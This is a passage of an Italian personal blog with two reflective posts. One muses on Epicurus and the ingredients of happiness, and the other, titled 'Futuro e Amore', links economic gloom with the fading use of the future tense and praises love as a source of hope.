scattano le domande della vita, provate a cercare nel motore “Epicuro”..questo era additato dai suoi nemici come essere indegno perche’ cercava la felicita’ semplicemente nella compagnia di gente a lui congeniale, si nutriva di pane avanzato e solo nei giorni di festa aggiungeva qualche crosta di formaggio..(per inciso a me piace la crosta gel grana)..La felicita’ ha dei presupposti..il primo ovviamente e’ la Salute, il secondo e’ una situazione economica che ci metta al riparo dalla miseria e col nanetto non e’ stato tanto semplice, persino a Vaduz ti vengono a far girare i pendenti, grazie a talpe prezzolate. Il terzo e’ avere buoni rapporti personali (amici, amore armonia familiare). Per ultimo il lavoro (avere successo o quantomeno aspettare il lunedi’ per poter lavorare..eheh e’ dura vero? Eppure credetemi esiste anche chi aspetta con ansia il lunedi’, per tirarsi fuori dai casini della famiglia o ella solitudine).. Ovviamente non ci sono sti quattro fattori perche’ si deve aggiungere una naturale disposizione alla gioia di vivere (avvicinate il prossimo con cordialita’ e simpatia e non chiedete alla vita piu’ di quello che vi si puo’ dare)..si deve aggiungere la capacita’ di sopportare la noia si devono aggiungere gli interessi personali (hobby, letture, viaggi e perche’ no..chat)..si deve aggiungere l’equilibrio tra lo spirito combattivo e la rassegnazione (fare il meglio che si puo’ e lasciare al destino il risultato).
Il discorso si e’ fatto lungo e poteva essere riassunto in due righe e la mia distorsione nel cercare la strada piu’ lunga per poter esprimere un mio punto di vista che sinteticamente poteva esser chiuso cosi’: “ieri son andato da amici e ho visto che si mettevano al pc per cercare una risposta prima di quello che in televisione era stato contattato”..STOP (altri di moda dicono PUNTO)..ma io non la finisco cosi’ e dico che i piu’ grossi ostacoli sulla via della felicita’ sono l’invidia (ho constatata anche qui che invece di provare piacere per cio’ che si ha, si soffre per quello che hanno gli altri..dico bene? So che qui persone leggono ma non verbalizzano in quanto non devono far vedere che hanno letto e mi fa piacere che continuino leggere, questo fa parte dei piaceri della vita, si gode selvaggiamente nel rumore del silenzio. Poi non voglio negare che il successo sociale sia un ingrediente della felicita’. Per qualche persona ..lo e’ in quanto e’ l’ingrediente principale, primario..ma di per se’ non basta a soddisfare gli altri. Potete essere ricchi, ammirati ma se non avete nessun amico, nessun interesse, nessun piacere spontaneo..cari miei e’ inutile..sarete sempre infelici.. quindi seguite Epicureo e con pane secco e crosta di formaggio..avrete meno adipe addosso, potrete vedere finalmente i vostri piedi senza andare allo specchio e con tutti gli amici capirete perche’ la felicita’ non richiede grandi ricchezze ne’ particolari doti intellettuali.

Futuro e Amore

Leggo un post di Massimo e concordo sulla scomparsa dei verbi al futuro. Con l’avvento eurostatico (son trascorsi gia’ 10 anni ) si sentiva parlare in TV e sui giornali del «saremo» ,«diventeremo», <> e <>, poi man mano il futuro ha cominciato scemare fino ad arrivare ad oggi, in cui per i poveri coincide con l’ultima settimana del mese e per i potenti con la fine dell’anno, quando molti di loro verranno giudicati sulla base del bilancio consuntivo.. premiati se avranno tagliato i costi, ma puniti senza pieta’ se li avranno aumentati per sviluppare gli investimenti, la ricerca scientifica, la formazione del personale. Le societa’ umane appassiscono cosi’, a furia di chiudere in pareggio i bilanci di fine anno senza piu’ avere un senso di marcia che non sia solo lo spirito della sopravvivenza sia per i poveri che per i potenti. (tralascio la parola ricchi..il ceto medio ve ne sarete accorti che l’hanno fatto sparire, siamo e ripeto siamo stati livellati verso il basso e il futuro di certo non e’ roseo).

Riconcordo con Massimo che gli unici che osano ancora coniugare i verbi al futuro sono gli innamorati, non quelli del blog ma quelli veri equi mi attirero’ le critiche di chi ha la sua nuvoletta. Cmq ascoltate i loro discorsi (o ricordate i vostri, di quando lo eravate). Pur nelle difficolta’ di una vita vissuta giorno per giorno ne escono visioni, progetti, scenari che evadono dalla precarieta’ del presente per proiettarsi in quella dimensione magica dove le possibilità del cambiamento volteggiano intatte. Il futuro e’ quindi il verbo di chi emana energia e non di chi subisce la vita e si piange addosso. E l’energia piu’ potente e piu’ giovane rimane sempre l’amore a qualsiasi eta’. Persino in un continente per vecchi come la nostra obsoleta Europa. Non sono un economista e nemmeno un sociologo, ma sento che dalla depressione economica e morale ci potranno salvare soltanto le persone innamorate di un’altra persona, di un sogno, del proprio talento. Della vita. Quindi abbasso i depressi e la depressione e alziamo i calici a quelli che vedono il bicchiere meta’ pieno e hanno il coraggio di fare un mutuo e di investire nell’amore.